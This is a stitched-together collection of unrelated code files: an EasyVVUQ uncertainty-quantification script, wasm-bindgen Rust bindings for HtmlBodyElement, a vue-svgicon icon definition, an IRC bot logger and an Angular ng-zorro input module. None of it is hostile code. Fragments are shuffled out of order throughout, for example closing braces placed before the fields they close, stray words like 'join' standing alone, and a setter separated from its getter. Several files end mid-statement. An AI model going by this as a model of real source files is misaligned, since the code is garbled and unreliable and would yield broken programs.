) campaign = uq.Campaign(name=CAMPAIGN_NAME, actions=actions, params=params) vary = { "conduction:chi": chaospy.Uniform(0.2, 4.0), "T:scale": chaospy.Uniform(0.5, 1.5), "T:gauss_width": chaospy.Uniform(0.5, 1.5), "T:gauss_centre": chaospy.Uniform(0.5 * np.pi, 1.5 * np.pi), } sampler = uq.sampling.SCSampler( vary=vary, polynomial_order=1, quadrature_rule="C", sparse=True, growth=True, midpoint_level1=True, dimension_adaptive=True, ) campaign.set_sampler(sampler) print(f"Output will be in {campaign.campaign_dir}") sampler = campaign.get_active_sampler() print(f"Computing {sampler.n_samples} samples") time_start = time.time() campaign.execute().collate(progress_bar=True) # Create an analysis class and run the analysis. analysis = create_analysis(campaign) campaign.apply_analysis(analysis) analysis.save_state(f"{campaign.campaign_dir}/analysis.state") plot_grid_2D(campaign, analysis, 0, f"{campaign.campaign_dir}/grid0.png") for i in np.arange(1, 10): refine_once(campaign, analysis, i) time_end = time.time() print(f"Finished, took {time_end - time_start}") return campaign def create_analysis(campaign): return uq.analysis.SCAnalysis(sampler=campaign.get_active_sampler(), qoi_cols=["T"]) def refine_once(campaign, analysis, iteration): refine_sampling_plan(campaign, analysis, 1) campaign.apply_analysis(analysis) analysis.save_state(f"{campaign.campaign_dir}/analysis.state") results = campaign.last_analysis plot_grid_2D( campaign, analysis, iteration, f"{campaign.campaign_dir}/grid{iteration:02}.png", ) moment_plot_filename = os.path.join( f"{campaign.campaign_dir}", f"moments{iteration:02}.png" ) sobols_plot_filename = os.path.join( f"{campaign.campaign_dir}", f"sobols_first{iteration:02}.png" ) results.plot_sobols_first( "T", ylabel=f"iteration{iteration}", xlabel=r"$\rho$", filename=sobols_plot_filename, ) plt.ylim(0, 1) plt.savefig(f"{campaign.campaign_dir}/sobols{iteration:02}.png") custom_moments_plot(results, moment_plot_filename, iteration) with open(f"{campaign.campaign_dir}/last_iteration", "w") as f: f.write(f"{iteration}") def plot_results(campaign, moment_plot_filename, sobols_plot_filename): results = campaign.get_last_analysis() results.plot_sobols_first("T", xlabel=r"$\rho$", filename=sobols_plot_filename) fig, ax = plt.subplots() xvalues = np.arange(len(results.describe("T", "mean"))) ax.fill_between( xvalues, results.describe("T", "mean") - results.describe("T", "std"), results.describe("T", "mean") + results.describe("T", "std"), label="std", alpha=0.2, ) ax.plot(xvalues, results.describe("T", "mean"), label="mean") try: ax.plot(xvalues, results.describe("T", "1%"), "--", label="1%", color="black") ax.plot(xvalues, results.describe("T", "99%"), "--", label="99%", color="black") except RuntimeError: pass ax.grid(True) ax.set_ylabel("T") ax.set_xlabel(r"$\rho$") ax.legend() fig.savefig(moment_plot_filename) print(f"Results are in:\n\t{moment_plot_filename}\n\t{sobols_plot_filename}") def reload_campaign(directory): """Reload a campaign from a directory Returns the campaign, analysis, and last iteration number """ campaign = uq.Campaign( name=CAMPAIGN_NAME, db_location=f"sqlite:///{os.path.abspath(directory)}/campaign.db", ) analysis = create_analysis(campaign) analysis.load_state(f"{campaign.campaign_dir}/analysis.state") with open(f"{campaign.campaign_dir}/last_iteration", "r") as f: iteration = int(f.read()) return campaign, analysis, iteration if __name__ == "__main__": parser = argparse.ArgumentParser( "conduction_sc", description="Adaptive dimension refinement for 1D conduction model", ) parser.add_argument( "--restart", type=str, help="Restart previous campaign", default=None ) parser.add_argument( "-n", "--refinement-num", type=int, default=1, help="Number of refinements" ) args = parser.parse_args() if args.restart is None: first_time_setup() else: campaign, analysis, last_iteration = reload_campaign(args.restart) for iteration in range( last_iteration + 1, last_iteration + args.refinement_num + 1 ): refine_once(campaign, analysis, iteration)
decoder, root=".",
gen_HtmlBodyElement.rs
#![allow(unused_imports)] use super::*; use wasm_bindgen::prelude::*; #[wasm_bindgen] extern "C" { # [wasm_bindgen (extends = HtmlElement , extends = Element , extends = Node , extends = EventTarget , extends = :: js_sys :: Object , js_name = HTMLBodyElement , typescript_type = "HTMLBodyElement")] #[derive(Debug, Clone, PartialEq, Eq)] #[doc = "The `HtmlBodyElement` class."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub type HtmlBodyElement; # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = text)] #[doc = "Getter for the `text` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/text)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn text(this: &HtmlBodyElement) -> String; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = text)] #[doc = "Setter for the `text` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/text)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_text(this: &HtmlBodyElement, value: &str); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = link)] #[doc = "Getter for the `link` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/link)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn link(this: &HtmlBodyElement) -> String; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = link)] #[doc = "Setter for the `link` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/link)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_link(this: &HtmlBodyElement, value: &str); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = vLink)] #[doc = "Getter for the `vLink` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/vLink)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn v_link(this: &HtmlBodyElement) -> String; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = vLink)] #[doc = "Setter for the `vLink` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/vLink)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_v_link(this: &HtmlBodyElement, value: &str); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = aLink)] #[doc = "Getter for the `aLink` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/aLink)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn a_link(this: &HtmlBodyElement) -> String; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = aLink)] #[doc = "Setter for the `aLink` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/aLink)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_a_link(this: &HtmlBodyElement, value: &str); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = bgColor)] #[doc = "Getter for the `bgColor` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/bgColor)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn bg_color(this: &HtmlBodyElement) -> String; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = bgColor)] #[doc = "Setter for the `bgColor` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/bgColor)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_bg_color(this: &HtmlBodyElement, value: &str); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = background)] #[doc = "Getter for the `background` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/background)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn background(this: &HtmlBodyElement) -> String; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = background)] #[doc = "Setter for the `background` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/background)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_background(this: &HtmlBodyElement, value: &str); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onafterprint)] #[doc = "Getter for the `onafterprint` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onafterprint)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onafterprint(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onafterprint)] #[doc = "Setter for the `onafterprint` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onafterprint)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onafterprint(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onbeforeprint)] #[doc = "Getter for the `onbeforeprint` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onbeforeprint)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onbeforeprint(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onbeforeprint)] #[doc = "Setter for the `onbeforeprint` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onbeforeprint)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onbeforeprint(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onbeforeunload)] #[doc = "Getter for the `onbeforeunload` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onbeforeunload)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onbeforeunload(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onbeforeunload)] #[doc = "Setter for the `onbeforeunload` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onbeforeunload)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onbeforeunload(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onhashchange)] #[doc = "Getter for the `onhashchange` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onhashchange)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onhashchange(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onhashchange)] #[doc = "Setter for the `onhashchange` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onhashchange)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onhashchange(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onlanguagechange)] #[doc = "Getter for the `onlanguagechange` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onlanguagechange)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onlanguagechange(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onlanguagechange)] #[doc = "Setter for the `onlanguagechange` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onlanguagechange)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onlanguagechange(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onmessage)] #[doc = "Getter for the `onmessage` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onmessage)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onmessage(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onmessage)] #[doc = "Setter for the `onmessage` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onmessage)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onmessage(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onmessageerror)] #[doc = "Getter for the `onmessageerror` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onmessageerror)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onmessageerror(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onmessageerror)] #[doc = "Setter for the `onmessageerror` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onmessageerror)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onmessageerror(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onoffline)] #[doc = "Getter for the `onoffline` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onoffline)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onoffline(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onoffline)] #[doc = "Setter for the `onoffline` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onoffline)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onoffline(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = ononline)] #[doc = "Getter for the `ononline` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/ononline)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn ononline(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = ononline)] #[doc = "Setter for the `ononline` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/ononline)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_ononline(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onpagehide)] #[doc = "Getter for the `onpagehide` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onpagehide)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onpagehide(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onpagehide)] #[doc = "Setter for the `onpagehide` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onpagehide)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onpagehide(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onpageshow)] #[doc = "Getter for the `onpageshow` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onpageshow)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onpageshow(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onpageshow)] #[doc = "Setter for the `onpageshow` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onpageshow)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onpageshow(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onpopstate)] #[doc = "Getter for the `onpopstate` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onpopstate)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onpopstate(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onpopstate)] #[doc = "Setter for the `onpopstate` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onpopstate)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onpopstate(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); # [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onstorage)] #[doc = "Getter for the `onstorage` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onstorage)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onstorage(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onstorage)] #[doc = "Setter for the `onstorage` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onstorage)"] #[doc = ""]
# [wasm_bindgen (structural , method , getter , js_class = "HTMLBodyElement" , js_name = onunload)] #[doc = "Getter for the `onunload` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onunload)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn onunload(this: &HtmlBodyElement) -> Option<::js_sys::Function>; # [wasm_bindgen (structural , method , setter , js_class = "HTMLBodyElement" , js_name = onunload)] #[doc = "Setter for the `onunload` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/HTMLBodyElement/onunload)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onunload(this: &HtmlBodyElement, value: Option<&::js_sys::Function>); }
#[doc = "*This API requires the following crate features to be activated: `HtmlBodyElement`*"] pub fn set_onstorage(this: &HtmlBodyElement, value: Option<&::js_sys::Function>);
46.ts
/* eslint-disable */ /* tslint:disable */ // @ts-ignore import icon from 'vue-svgicon' icon.register({ '46': { width: 16,
} })
height: 16, viewBox: '0 0 100 100', data: '<symbol id="svgicon_46_b"><path pid="0" _fill="#0062bf" d="M2.5 13A2.5 2.5 0 0 1 .21 9.51l3.55-8a2.5 2.5 0 0 1 4.57 2l-3.55 8A2.5 2.5 0 0 1 2.5 13z"/></symbol><symbol id="svgicon_46_a"><path pid="1" d="M55.7 5a23.94 23.94 0 0 0-21.33 13.05 9.9 9.9 0 0 0-12.78 5.56 15 15 0 0 0-1.71-.1A14.81 14.81 0 0 0 9.2 28 14.63 14.63 0 0 0 5 38.17v.21a14.83 14.83 0 0 0 14.88 14.68h55.71a14.3 14.3 0 0 0 3.67-28.14A23.93 23.93 0 0 0 55.7 5z"/><image x="5" y="14" width="85" height="43" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFYAAAAkCAMAAAAkYj0PAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAVUExURSgoKExpcaCgoFBQUG5ublBQUISEhI1fsT0AAAAHdFJOUxsACBsPFRpGXuFgAAABWElEQVRIx7XV25bDIAgF0BMu/v8nF/E+iWlqHNKVN3cpIMXxL4GFM3SQfTazkUyxk63oLYwlVSy2silXkS/wUrZS2a3ZCn1zsdSw7UUYijuHsTa1IvfwWrbSXLkc4N9r27JViwmM1UtWXA3hohQ41m6vl8FQZi7wu2z7KXPW4uRiZS+2AmdXN7DdQEQWQHYHlt6z0dXBBa2xeeVktiZc1jDoF5eGkI4d4MjKc7cNbZ3bqjocLLx5oPDYTaIftcfvAvcs2GFxVsJTOP1wO1jGdUSLaz/DWA1Tl45+Tkqul2ArcPzayGq8JafOUffP3TUp6JQs+Rptc6vtmtBkUw+dv0NzWG0PYf8O7Ym09+ITXyXOPZqEX95aFe3PKxRsL2XV3HR+ZALirPSF0ceHp6F51WBv1A22VaW2GHWzWvat8LOAPf4CrjrA+neNK7+PQBf/DmmLrId09/QDWyESBsibwBUAAAAASUVORK5CYII="/></symbol><symbol id="svgicon_46_c"><use xlink:href="#svgicon_46_a" _fill="#ccc" width="100" height="100" transform="translate(3 18)"/><use xlink:href="#svgicon_46_b" width="100" height="100" transform="translate(32 87)"/><use xlink:href="#svgicon_46_b" width="100" height="100" transform="translate(56 78)"/></symbol><use xlink:href="#svgicon_46_c" width="100" height="100"/>'
logger.py
# Logging module. import os from os import path import datetime from michiru import config from michiru.modules import hook ## Module information. __name__ = 'logger' __author__ = 'Shiz' __license__ = 'WTFPL' __desc__ = 'Log activities.' config.item('logger.path', path.join('{local}', 'logs', '{server}', '{channel}.log')) config.item('logger.date_format', '%Y/%m/%d %H:%M:%S') ## Utility functions. def log(server, channel, message): """ Remove earlier entries for `nick` from database and insert new log entry. """ logfile = config.get('logger.path', server=server, channel=channel).format( site=config.SITE_DIR, local=config.LOCAL_DIR, server=server, channel=channel or '<server>' ) logpath = path.dirname(logfile) dateformat = config.get('logger.date_format', server=server, channel=channel) if not path.exists(logpath): os.makedirs(logpath) with open(logfile, 'a') as f: f.write('[{now}] {message}\n'.format(now=datetime.datetime.utcnow().strftime(dateformat), message=message)) ## Commands and hooks. @hook('chat.join') def
(bot, server, channel, who): log(server, channel, '--> {nick} joined {chan}'.format(nick=who, chan=channel)) @hook('chat.part') def part(bot, server, channel, who, reason): log(server, channel, '<-- {nick} left {chan} ({reason})'.format(nick=who, chan=channel, reason=reason)) @hook('chat.disconnect') def quit(bot, server, who, reason): log(server, None, '<-- {nick} quit ({reason})'.format(nick=who, reason=reason)) @hook('chat.kick') def kick(bot, server, channel, target, by, reason): log(server, channel, '<!- {nick} got kicked from {channel} by {kicker} ({reason})'.format(nick=target, channel=channel, kicker=by, reason=reason)) @hook('chat.nickchange') def nickchange(bot, server, who, to): log(server, None, '-!- {old} changed nickname to {new}'.format(old=who, new=to)) @hook('chat.message') def message(bot, server, target, who, message, private, admin): log(server, who if private else target, '<{nick}> {message}'.format(nick=who, message=message)) @hook('chat.notice') def notice(bot, server, target, who, message, private, admin): log(server, who if private else target, '*{nick}* {message}'.format(nick=who, message=message)) @hook('chat.channelchange') def channelchange(bot, server, channel, new): log(server, channel, '-!- Channel changed to {new}'.format(new=new)) @hook('chat.topicchange') def topicchange(bot, server, channel, who, topic): if who: log(server, channel, '-!- {who} changed topic to: {topic}'.format(who=who, topic=topic)) else: log(server, channel, '-!- Topic changed to: {topic}'.format(topic=topic)) ## Boilerplate. def load(): return True def unload(): pass
join
input.module.js
/** * Use of this source code is governed by an MIT-style license that can be * found in the LICENSE file at https://github.com/NG-ZORRO/ng-zorro-antd/blob/master/LICENSE */ import { BidiModule } from '@angular/cdk/bidi'; import { PlatformModule } from '@angular/cdk/platform'; import { CommonModule } from '@angular/common'; import { NgModule } from '@angular/core'; import { NzOutletModule } from 'ng-zorro-antd/core/outlet'; import { NzIconModule } from 'ng-zorro-antd/icon'; import { NzAutosizeDirective } from './autosize.directive'; import { NzInputGroupSlotComponent } from './input-group-slot.component'; import { NzInputGroupComponent, NzInputGroupWhitSuffixOrPrefixDirective } from './input-group.component'; import { NzInputDirective } from './input.directive'; import { NzTextareaCountComponent } from './textarea-count.component'; export class
{ } NzInputModule.decorators = [ { type: NgModule, args: [{ declarations: [ NzTextareaCountComponent, NzInputDirective, NzInputGroupComponent, NzAutosizeDirective, NzInputGroupSlotComponent, NzInputGroupWhitSuffixOrPrefixDirective ], exports: [ NzTextareaCountComponent, NzInputDirective, NzInputGroupComponent, NzAutosizeDirective, NzInputGroupWhitSuffixOrPrefixDirective ], imports: [BidiModule, CommonModule, NzIconModule, PlatformModule, NzOutletModule] },] } ]; //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5wdXQubW9kdWxlLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vLi4vY29tcG9uZW50cy9pbnB1dC9pbnB1dC5tb2R1bGUudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7OztHQUdHO0FBRUgsT0FBTyxFQUFFLFVBQVUsRUFBRSxNQUFNLG1CQUFtQixDQUFDO0FBQy9DLE9BQU8sRUFBRSxjQUFjLEVBQUUsTUFBTSx1QkFBdUIsQ0FBQztBQUN2RCxPQUFPLEVBQUUsWUFBWSxFQUFFLE1BQU0saUJBQWlCLENBQUM7QUFDL0MsT0FBTyxFQUFFLFFBQVEsRUFBRSxNQUFNLGVBQWUsQ0FBQztBQUV6QyxPQUFPLEVBQUUsY0FBYyxFQUFFLE1BQU0sMkJBQTJCLENBQUM7QUFDM0QsT0FBTyxFQUFFLFlBQVksRUFBRSxNQUFNLG9CQUFvQixDQUFDO0FBRWxELE9BQU8sRUFBRSxtQkFBbUIsRUFBRSxNQUFNLHNCQUFzQixDQUFDO0FBQzNELE9BQU8sRUFBRSx5QkFBeUIsRUFBRSxNQUFNLDhCQUE4QixDQUFDO0FBQ3pFLE9BQU8sRUFBRSxxQkFBcUIsRUFBRSx1Q0FBdUMsRUFBRSxNQUFNLHlCQUF5QixDQUFDO0FBQ3pHLE9BQU8sRUFBRSxnQkFBZ0IsRUFBRSxNQUFNLG1CQUFtQixDQUFDO0FBQ3JELE9BQU8sRUFBRSx3QkFBd0IsRUFBRSxNQUFNLDRCQUE0QixDQUFDO0FBb0J0RSxNQUFNLE9BQU8sYUFBYTs7O1lBbEJ6QixRQUFRLFNBQUM7Z0JBQ1IsWUFBWSxFQUFFO29CQUNaLHdCQUF3QjtvQkFDeEIsZ0JBQWdCO29CQUNoQixxQkFBcUI7b0JBQ3JCLG1CQUFtQjtvQkFDbkIseUJBQXlCO29CQUN6Qix1Q0FBdUM7aUJBQ3hDO2dCQUNELE9BQU8sRUFBRTtvQkFDUCx3QkFBd0I7b0JBQ3hCLGdCQUFnQjtvQkFDaEIscUJBQXFCO29CQUNyQixtQkFBbUI7b0JBQ25CLHVDQUF1QztpQkFDeEM7Z0JBQ0QsT0FBTyxFQUFFLENBQUMsVUFBVSxFQUFFLFlBQVksRUFBRSxZQUFZLEVBQUUsY0FBYyxFQUFFLGNBQWMsQ0FBQzthQUNsRiIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogVXNlIG9mIHRoaXMgc291cmNlIGNvZGUgaXMgZ292ZXJuZWQgYnkgYW4gTUlULXN0eWxlIGxpY2Vuc2UgdGhhdCBjYW4gYmVcbiAqIGZvdW5kIGluIHRoZSBMSUNFTlNFIGZpbGUgYXQgaHR0cHM6Ly9naXRodWIuY29tL05HLVpPUlJPL25nLXpvcnJvLWFudGQvYmxvYi9tYXN0ZXIvTElDRU5TRVxuICovXG5cbmltcG9ydCB7IEJpZGl